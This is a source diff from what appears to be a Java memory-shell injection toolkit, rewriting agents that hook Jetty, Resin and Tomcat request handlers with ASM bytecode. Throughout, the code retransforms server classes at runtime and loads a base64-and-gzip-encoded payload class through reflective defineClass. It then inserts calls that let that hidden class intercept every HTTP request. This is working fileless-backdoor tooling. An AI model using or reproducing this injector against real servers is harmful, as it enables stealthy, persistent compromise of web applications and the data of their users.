"org/eclipse/jetty/ee9/servlet/ServletHandler",
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
"org/mortbay/jetty/servlet/ServletHandler"
);
private static String targetClassName = "";
private static String targetMethodName = "doHandle";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doHandle")));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +42,256 @@ public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.eclipse.jetty.servlet.ServletHandler"))
.transform(new JettyHandlerAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
inst.addTransformer(new JettyHandlerAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) {
targetClassName = name;
if (targetClassName.contains("mortbay")) {
targetMethodName = "handle";
}
if (targetClassName.contains("ee10")) {
targetMethodName = "doFilter";
}
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName);
}
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASSES.contains(className)) {
if (className.contains("mortbay")) {
targetMethodName = "handle";
}
if (className.contains("ee10")) {
targetMethodName = "doFilter";
}
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (targetMethodName.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
Type argumentType = argumentTypes[i];
mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
boxPrimitive(mv, argumentType);
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private void boxPrimitive(MethodVisitor mv, Type type) {
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
return; // Already an object
}
String owner;
String descriptor;
switch (type.getSort()) {
case Type.BOOLEAN:
owner = "java/lang/Boolean";
descriptor = "(Z)Ljava/lang/Boolean;";
break;
case Type.CHAR:
owner = "java/lang/Character";
descriptor = "(C)Ljava/lang/Character;";
break;
case Type.BYTE:
owner = "java/lang/Byte";
descriptor = "(B)Ljava/lang/Byte;";
break;
case Type.SHORT:
owner = "java/lang/Short";
descriptor = "(S)Ljava/lang/Short;";
break;
case Type.INT:
owner = "java/lang/Integer";
descriptor = "(I)Ljava/lang/Integer;";
break;
case Type.FLOAT:
owner = "java/lang/Float";
descriptor = "(F)Ljava/lang/Float;";
break;
case Type.LONG:
owner = "java/lang/Long";
descriptor = "(J)Ljava/lang/Long;";
break;
case Type.DOUBLE:
owner = "java/lang/Double";
descriptor = "(D)Ljava/lang/Double;";
break;
default:
// Should not happen for primitive types
return;
}
mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.jetty;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class JettyHandlerAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler";
private static final String TARGET_METHOD_NAME = "doHandle";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public JettyHandlerAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new JettyHandlerAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.resin;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer {
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,20 +33,191 @@ public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("com.caucho.server.dispatch.FilterFilterChain"))
.transform(new ResinFilterChainAgentInjector())
.installOn(inst);
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.resin;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public ResinFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new ResinFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
}
}
@@ -1,39 +1,28 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/28
* @since 2025/3/26
*/
public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer {
public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
public static String getClassName() {
return "{{advisorName}}";
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
@@ -44,21 +33,192 @@ public class TomcatContextValveAgentInjector implements AgentBuilder.Transformer
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.apache.catalina.core.StandardContextValve"))
.transform(new TomcatContextValveAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
inst.addTransformer(new TomcatContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Throwable e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,98 +0,0 @@
package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public TomcatContextValveAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
